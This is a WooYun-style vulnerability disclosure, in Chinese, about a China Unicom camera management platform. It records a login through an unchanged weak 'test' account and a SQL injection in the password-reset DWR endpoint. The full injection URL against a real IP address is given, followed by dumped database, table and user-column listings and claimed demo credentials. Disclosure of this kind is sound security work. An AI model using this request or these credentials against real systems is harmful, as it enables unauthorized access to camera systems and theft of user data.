WooYun.org

看到了这个 WooYun: 中国联通某摄像管理平台存在弱口令
发现很好玩，就看了看
发现admin是被改了，test还是没有被修改。
于是又进来了。

没有admin啊，不好玩，接着搞
在找回密码和注册那里发现了注入....
找回密码这里的:
http://210.22.8.98/dwr/call/plaincall/DwrUserInfo.resetPassword.dwr?callCount=1&page=/forgot.action&httpSessionId=&scriptSessionId=1400608260581&c0-scriptName=DwrUserInfo&c0-methodName=resetPassword&c0-id=0&c0-param0=string:1111'&c0-param1=string:[email protected]&batchId=0&locale=zh_CN
c0-param0这个参数存在的问题
搞到了数据库的内容
database:
[*] db_register
[*] dserver_1
[*] information_schema
[*] mysql
[*] test
db_register:
+---------------------+
| admin | AdminID:Name:Password:RoleId
| admin_camera_group |
| admin_manage_camera |
| appointuser |
| appserver |
| appserverassign |
| appserverinfo | Account:AppServerID:AppServerSN:AppServerType:AssignFlag:Capacity:Password:RecycleDay
| db_version |
| devices |
| dserver_names |
| dservers |
| groups |
| languages |
| location |
| location_names |
| news |
| users | ServerID:UserID:UserName
+---------------------+
dserver_1:
+---------------+
| DeviceAssign |
| DvipDevice |
| GroupInfo |
| UserAppServer |
| UserDevice |
| UserInfo |
+---------------+
Database: dserver_1
Table: UserInfo
[16 columns]
+--------------+------------------+
| Column | Type |
+--------------+------------------+
| AlarmFlag | varchar(64) |
| Email | varchar(64) |
| MobileNumber | varchar(64) |
| MViewRes | int(10) |
| OwnerID | int(10) unsigned |
| Playtime | int(11) |
| RegisterDate | date |
| RegisterIP | varchar(40) |
| SendInfo | int(10) |
| UserID | int(10) unsigned |
| UserName | varchar(20) |
| UserPassword | varchar(40) |
| UserType | tinyint(4) |
| ViewSetup | varchar(255) |
| ViewTime | varchar(64) |
| WebViewRes | int(10) |
+--------------+------------------+
admin的密码加密了，没有破解开。。。
系统中还存在很多弱口令，删除了吧。。。
百度http://210.22.8.98/
看到了http://www.tpy888.cn/sell/201210/19/675173.html
说是一个演示平台，用户名和密码：auds(可以直接登录进去)
这个算是什么呢，演示平台？还是通用的呢？